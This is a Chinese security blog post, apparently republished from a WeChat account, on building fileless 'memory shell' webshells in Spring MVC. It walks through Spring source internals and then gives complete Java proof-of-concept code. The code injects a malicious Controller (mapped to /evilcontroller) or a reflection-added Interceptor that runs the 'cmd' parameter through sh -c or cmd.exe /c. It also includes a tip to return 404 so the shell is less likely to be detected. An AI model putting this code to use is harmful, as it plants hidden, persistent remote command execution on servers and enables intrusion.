Spring内存马——Controller/Interceptor构造

admin 2023年2月2日14:31:41评论57 views字数 20958阅读69分51秒阅读模式

出品|先知社区(ID:godown)




声明




以下内容,来自先知社区的godown作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。





Spring内存马




Spring是IOC和AOP的容器框架,SpringMVC则是基于Spring功能的Web框架。

  • IOC容器:IOC容器负责实例化、定位、配置应用程序对象及建立对象依赖。Spring中用BeanFactory实现

  • Spring作为Java框架,核心组件有三个:Core、Context、Bean。其中context又叫IOC容器;Bean构成应用程序主干,Bean就是对象,由IOC容器统一管理;Core为处理对象间关系的方法

依赖注入:把有依赖关系的类放到容器中,解析出这些类的实例

spring对象间的依赖关系可以用配置文件的<bean>定义。context的顶级父类ApplicationContext继承了BeanFactory。

内存马一般的构造方式就是模拟组件注册,注入恶意组件





springMVC环境搭建




新建maven项目,项目名右键添加web框架Spring内存马——Controller/Interceptor构造

配置tomcat:设置tomcat主目录以及Application context路径

Spring内存马——Controller/Interceptor构造

pom.xml里加入sping MVC5.3.21以及其他依赖

<dependencies>        <!-- SpringMVC -->        <dependency>            <groupId>org.springframework</groupId>            <artifactId>spring-webmvc</artifactId>            <version>5.3.21</version>        </dependency>        <!-- 日志 -->        <dependency>            <groupId>ch.qos.logback</groupId>            <artifactId>logback-classic</artifactId>            <version>1.2.3</version>        </dependency>        <!-- ServletAPI -->        <dependency>            <groupId>javax.servlet</groupId>            <artifactId>javax.servlet-api</artifactId>            <version>3.1.0</version>            <scope>provided</scope>        </dependency>        <!-- Spring5和Thymeleaf整合包 -->        <dependency>            <groupId>org.thymeleaf</groupId>            <artifactId>thymeleaf-spring5</artifactId>            <version>3.0.12.RELEASE</version>        </dependency>    </dependencies>

在web.xml中添加DispatcherServlet,DispatcherServlet的主要作用将web请求,根据配置的URL pattern,将请求分发给Controller和View。

<servlet>        <servlet-name>DispatcherServlet</servlet-name>        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>        <init-param>            <param-name>contextConfigLocation</param-name>            <param-value>classpath:SpringMVC.xml</param-value>        </init-param>        <load-on-startup>1</load-on-startup>    </servlet>    <servlet-mapping>        <servlet-name>DispatcherServlet</servlet-name>        <url-pattern>/</url-pattern>    </servlet-mapping><listener>        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>    </listener>

在classpath,我这里是src/main/resources下创建SpringMVC.xml核心配置文件

创建TestController类:

package org.example.springmvc;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;@Controllerpublic class TestController {    @RequestMapping("/index")    public String index(){        return "index";    }}

修改SpringMVC.xml。这里sping会自动扫描base-package下的java文件,如果文件中有@Service,@Component,@Repository,@Controller等这些注解的类,则把这些类注册为bean

属性use-default-filters=”false”表示不要使用默认的过滤器

<beans xmlns="http://www.springframework.org/schema/beans"       xmlns:context="http://www.springframework.org/schema/context"       xmlns:mvc="http://www.springframework.org/schema/mvc"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="        http://www.springframework.org/schema/beans        http://www.springframework.org/schema/beans/spring-beans-3.0.xsd        http://www.springframework.org/schema/context        http://www.springframework.org/schema/context/spring-context-3.0.xsd        http://www.springframework.org/schema/mvc        http://www.springframework.org/schema/mvc/spring-mvc-4.3.xsd">    <mvc:annotation-driven/>    <context:component-scan base-package="org.example.springmvc" />    <bean            class="org.springframework.web.servlet.view.InternalResourceViewResolver">        <property name="prefix">            <value>/WEB-INF/</value>        </property>        <property name="suffix">            <value>.jsp</value>        </property>    </bean></beans>

prefix表示路径,suffix指定后缀,在WEB-INF下创建lib目录,将可用库全部拖进去Spring内存马——Controller/Interceptor构造当访问index时,返回index,根据SpringMVC.xml配置的prefix,去/WEB-INF/下寻找jsp后缀的文件。

比如在/WEB-INF/下存放index.jsp,访问index时会通过web.xml中导入的DispatcherServlet处理请求

DispatcherServlet发送到Controller注解类,也就是TestController# return index。然后由springMVC视图解析器去/WEB-INF/下寻找index且为jsp后缀的文件。Spring内存马——Controller/Interceptor构造

其实如果嫌配置麻烦,可以直接使用springboot。然后直接写Controller

<parent>    <groupId>org.springframework.boot</groupId>    <artifactId>spring-boot-starter-parent</artifactId>    <version>2.4.5</version>    <relativePath/> <!-- lookup parent from repository --></parent>






基础知识




controller

Controller负责处理DispatcherServlet分发的请求。将用户请求处理后封装成model返回给view。

在springmvc中用@Controller标记一个类为Controller。然后用@RequestMapping等来定义URL请求和Controller方法间的映射

ApplicationContext

org.springframework.context.ApplicationContext接口代表了IoC容器,该接口继承了BeanFactory接口。

ContextLoaderListener

用来初始化全局唯一的Root Context,也就是Root WebApplicationContext.该WebApplicationCon-text和其他子Context共享IOC容器,共享bean访问和操作bean就需要获得当前环境ApplicationContext





源码分析




在Controller类打上断点,然后访问index

Spring内存马——Controller/Interceptor构造

Controller的注册

在DoDispatch处由DispatcherServlet处理web请求Spring内存马——Controller/Interceptor构造在DispatcherServlet调用HandlerAdapter#handle处理request和response。并且此处用getHandler方法获取了mappedHandler的Handler。往上看,mappedHandler是对handlerMappings进行遍历。Spring内存马——Controller/Interceptor构造持续跟进mapping.getHandler(request)发现,AbstractHandlerMethodMapping#getHandlerInternal()中对mappingRegistry进行上锁,最后解锁。(不自觉想起了死锁)mappingRegistry存储了路由信息。Spring内存马——Controller/Interceptor构造在lookupHandlerMethod方法,从mappingRegistry中获取了路由Spring内存马——Controller/Interceptor构造

也就是说模拟注册向mappingRegistry中添加内存马路由,就能注入内存马。

在AbstractHandlerMethodMapping中就提供了registryMapping添加路由。但是该类为抽象类。它的子类RequestMappingHandlerMapping能进行实例化





RequestMapping

HandlerMapping分析





AbstractHandlerMethodMapping的afterProperties用于bean初始化initHandlerMethod()遍历所有bean传入processCandidateBean处理bean,也就是controllerSpring内存马——Controller/Interceptor构造

在processCandidateBean中,getType获取bean类型,通过isHandler进行类型判断,如果bean有controller或RequestMapping注解,就进入detectHandlerMethods解析beanSpring内存马——Controller/Interceptor构造在detectHandlerMethods中,用getMappingForMethod创建RequestMappingInfoSpring内存马——Controller/Interceptor构造处理完后用registryHandlerMethod建立方法到RequestyMappingInfo的映射。也就是注册路由

Spring内存马——Controller/Interceptor构造

mappingRegistry路由信息

registry传入的参数mapping,handler,method。mapping存储了方法映射的URL路径。handler为controller对象。method为反射获取的方法





Controller内存马构造




1.获取WebApplicationContext

在内存马的构造中,都会获取容器的context对象。在Tomcat中获取的是StandardContext,spring中获取的是WebApplicationContext。(在controller类声明处打上断点可以看到初始化WebApplicationContext的过程)

WebApplicationContext继承了BeanFactory,所以能用getBean直接获取RequestMappingHandlerMapping,进而注册路由。所以重点是如何获取WebApplicationContext

原理:

  • 获取WebApplicationContext:

由于webApplicationContext对象存放于servletContext中。并且键值WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE,所以可以直接用servletContext#getAttribute()获取属性值

WebApplicationContext wac = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);

webApplicationContextUtils提供了下面两种方法获取webApplicationContext。需要传入servletContext

WebApplicationContextUtils.getRequeiredWebApplicationContext(ServletContext s);  WebApplicationContextUtils.getWebApplicationContext(ServletContext s);

spring 5的WebApplicationContextUtils已经没有getWebApplicationContext方法

  • 获取ServletContext

通过request对象或者ContextLoader获取ServletContext

// 1ServletContext servletContext = request.getServletContext();// 2ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();
  • 获取request可以用RequestContextHolder

HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder .getRequestAttributes()).getRequest();

spring中获取context的方式一般有以下几种

①直接通过ContextLoader获取,不用再经过servletContext。不过ContextLoader一般会被ban

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

②通过RequestContextHolder获取request,然后获取servletRequest后通过RequestContextUtils得到WebApplicationContext

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

③用RequestContextHolder直接从键值org.springframework.web.servlet.DispatcherServlet.CONTEXT中获取Context

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

④直接反射获取WebApplicationContext

java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");filed.setAccessible(true);org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

实际上常用的就2,3。

其中1获取的是Root WebApplicationContext,2,3通过RequestContextUtils获取的是叫dispatcherServlet-servlet的Child WebApplicationContext。

在有些Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener 、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过1方法是获取不到Root WebApplicationContext的。

2.模拟注册Controller

在spring2.5-3.1使用DefaultAnnotationHandlerMapping处理URL映射。spring3.1以后使用RequestMappingHandlerMapping

模拟注册Controller的方式一般有三种:

①源码分析就介绍的,registryMapping直接注册requestMapping

直接通过getBean就能获取RequestMappingHandlerMapping

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

生成RequestMappingInfo。需要传入PatternsRequestCondition(Controller映射的URL)和RequestMethodsRequestCondition(HTTP请求方法)Spring内存马——Controller/Interceptor构造

PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

恶意Controller:

@RestControllerpublic class InjectedController {    public InjectedController(){    }    public void cmd() throws Exception {        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();        if (request.getParameter("cmd") != null) {            boolean isLinux = true;            String osTyp = System.getProperty("os.name");            if (osTyp != null && osTyp.toLowerCase().contains("win")) {                isLinux = false;            }            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();            Scanner s = new Scanner(in).useDelimiter("\A");            String output = s.hasNext() ? s.next() : "";            response.getWriter().write(output);            response.getWriter().flush();            response.getWriter().close();    }}

反射获取shell方法

Method method = InjectedController.class.getMethod("cmd");

调用ReqgistryMapping注册

requestMappingHandlerMapping.registerMapping(info, injectedController, method);

测试:

完整代码

package org.example.springmvc;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;import java.lang.reflect.Method;import java.util.Scanner;@RestControllerpublic class InjectController {    @RequestMapping("/inject")    public String inject() throws Exception{        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT"0);        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        Method method = InjectedController.class.getMethod("cmd");        PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");        RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();        RequestMappingInfo info = new RequestMappingInfo(url, condition, nullnullnullnullnull);        InjectedController injectedController = new InjectedController();        requestMappingHandlerMapping.registerMapping(info, injectedController, method);        return "Inject done";    }    @RestController    public class InjectedController {        public InjectedController(){        }        public void cmd() throws Exception {            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();            if (request.getParameter("cmd") != null) {                boolean isLinux = true;                String osTyp = System.getProperty("os.name");                if (osTyp != null && osTyp.toLowerCase().contains("win")) {                    isLinux = false;                }                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                Scanner s = new Scanner(in).useDelimiter("\A");                String output = s.hasNext() ? s.next() : "";                response.getWriter().write(output);                response.getWriter().flush();                response.getWriter().close();            }        }    }}

先访问Inject进行controller注册。然后访问controller映射路径evilcontroller,带上参数就能RCESpring内存马——Controller/Interceptor构造

除此以外,还有两种方式能模拟注册Controller

②detectHandlerMethods直接注册

上面指出:在detectHandlerMethods中,用getMappingForMethod创建RequestMappingInfoSpring内存马——Controller/Interceptor构造该方法接收handler参数,就能寻找到bean并注册controller

//1.在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 beancontext.getBeanFactory().registerSingleton("dynamicController", Class.forName("org.example.springmvc.InjectedController").newInstance());// 2. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanorg.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);// 3. 反射获得 detectHandlerMethods Methodjava.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);m1.setAccessible(true);//4.将 dynamicController 注册到 handlerMap 中m1.invoke(requestMappingHandlerMapping, "dynamicController");

③利用registerHandler

上面的方法适用于spring3.1后RequestMappingHandlerMapping为映射器。当用DefaultAnnotationHandlerMapping为映射器时。该类顶层父类的registerHandler接收urlPath参数和handler参数来注册controller。不过不常用了,贴一下利用方法:

// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 beancontext.getBeanFactory().registerSingleton("dynamicController", Class.forName("org.example.springmvc.InjectedController").newInstance());// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 beanorg.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping  dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);// 3. 反射获得 registerHandler Methodjava.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);m1.setAccessible(true);// 4. 将 dynamicController 和 URL 注册到 handlerMap 中m1.invoke(dh, "/favicon", "dynamicController");

还可以加个else不带参数时返回404状态码,减少被检测到的概率





Interceptor拦截器内存马构造




Interceptor和Tomcat和Filter过滤器很类似。区别如下:

  1. Interceptor基于反射,Filter基于函数回调

  2. Interceptor不依赖servlet容器

  3. Interceptor只能对action请求有用

  4. Interceptor可以访问action上下文,栈里的对象。Filter不能

  5. action生命周期中,Interceptor可以被多次调用,Filter只在容器初始化时调用一次

  6. Interceptor可以获取IOC容器中的bean,Filter不行

由以上区别,Interceptor的应用和过滤器也就不同,Interceptor用来做日志记录,过滤器用来过滤非法操作






源码分析




DispatcherServlet.doDispatch中,进行了getHandler,持续跟进发现最终调用的是AbstractHandlerMapping#getHandler(),该方法中调用了getHandlerExecutionChain()Spring内存马——Controller/Interceptor构造该方法从adaptedInterceptors中把符合的拦截器添加到chain里。adaptedInterceptors就存放了全部拦截器Spring内存马——Controller/Interceptor构造返回到DispatcherServlet#doDispatch(),getHandler后执行了applyPreHandle遍历执行了拦截器。

而且可以看到applyPreHandle后面就是ha.handle(),执行controller,所以说Interceptors是在controller之前执行的

师傅给出了Filter,controller,Interceptors执行的顺序:Spring内存马——Controller/Interceptor构造

  • preHandle( ):该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。

  • postHandle( ):该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。

  • afterCompletion( ):该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。


1. 获取RequestMappingHandlerMapping

因为是在AbstractHandlerMapping类中,用addInterceptor向拦截器chain中添加的。该类是抽象类,可以获取其实现类RequestMappingHandlerMapping。一样的,前面提了四种方法。

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT"0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

2.反射获取adaptedInterceptors

获取adaptedInterceptors,private属性,使用反射。并且传入RequestMappingHandlerMapping初始化

Field field = null;    try {        field = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");    } catch (NoSuchFieldException e) {        e.printStackTrace();    }    field.setAccessible(true);    List<HandlerInterceptor> adaptInterceptors = null;    try {        adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);    } catch (IllegalAccessException e) {        e.printStackTrace();    }

3.添加恶意Interceptors

adaptInterceptors.add(new InjectEvilInterceptor("a"));

恶意Interceptor:需要实现HandlerInterceptor接口,通过重写preHandle进行RCE

public class InjectInterceptor implements HandlerInterceptor {    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        if (request.getParameter("cmd") != null) {            try{                boolean isLinux = true;                String osTyp = System.getProperty("os.name");                if (osTyp != null && osTyp.toLowerCase().contains("win")) {                    isLinux = false;                }                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                Scanner s = new Scanner(in).useDelimiter("\A");                String output = s.hasNext() ? s.next() : "";                response.getWriter().write(output);                response.getWriter().flush();                response.getWriter().close();            } catch (Exception e) {                e.printStackTrace();            }            return false;        }        return true;    }    @Override    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);    }    @Override    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);    }}

测试:

过滤器和controller可以直接使用@RequestMapping注解进行URL映射。拦截器Interceptor需要手动编写一个Config添加进去,或者直接修改配置文件spingmvc.xml

<mvc:interceptors>        <mvc:interceptor>            <mvc:mapping path="/**"/>            <bean class="org.example.InjectInterceptor"></bean>        </mvc:interceptor>    </mvc:interceptors>

POC:

package org.example.springmvc;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.InputStream;import java.lang.reflect.Field;import java.util.List;import java.util.Scanner;public class InjectInterceptor implements HandlerInterceptor {    static {        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        Field field = null;        try {            field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        } catch (NoSuchFieldException e) {            e.printStackTrace();        }        field.setAccessible(true);        List<HandlerInterceptor> adaptInterceptors = null;        try {            adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);        } catch (IllegalAccessException e) {            e.printStackTrace();        }        InjectInterceptor evilInterceptor = new InjectInterceptor();        adaptInterceptors.add(evilInterceptor);    }    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        if (request.getParameter("cmd") != null) {            try{                boolean isLinux = true;                String osTyp = System.getProperty("os.name");                if (osTyp != null && osTyp.toLowerCase().contains("win")) {                    isLinux = false;                }                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                Scanner s = new Scanner(in).useDelimiter("\A");                String output = s.hasNext() ? s.next() : "";                response.getWriter().write(output);                response.getWriter().flush();                response.getWriter().close();            } catch (Exception e) {                e.printStackTrace();            }            return false;        }        return true;    }    @Override    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);    }    @Override    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);    }}

新建一个controller触发拦截器,作为入口

package org.example.springmvc;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;@Controller@RequestMapping("/InjectInterceptor")public class EvilController {    @GetMapping    public void index(HttpServletRequest request, HttpServletResponse response) {        try {            Class.forName("org.example.springmvc.InjectInterceptor");            response.getWriter().println("Inject done!");        } catch (Exception e) {            e.printStackTrace();        }    }}

Spring内存马——Controller/Interceptor构造











参考




  • https://ho1aas.blog.csdn.net/article/details/123943546

  • https://www.freebuf.com/articles/web/327633.html

  • https://landgrey.me/blog/12/


Spring内存马——Controller/Interceptor构造
Spring内存马——Controller/Interceptor构造
Spring内存马——Controller/Interceptor构造

▇ 扫码关注我们 ▇

长白山攻防实验室

学习最新技术知识


原文始发于微信公众号(长白山攻防实验室):Spring内存马——Controller/Interceptor构造

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月2日14:31:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring内存马——Controller/Interceptor构造https://cn-sec.com/archives/1533160.html

发表评论

匿名网友 填写信息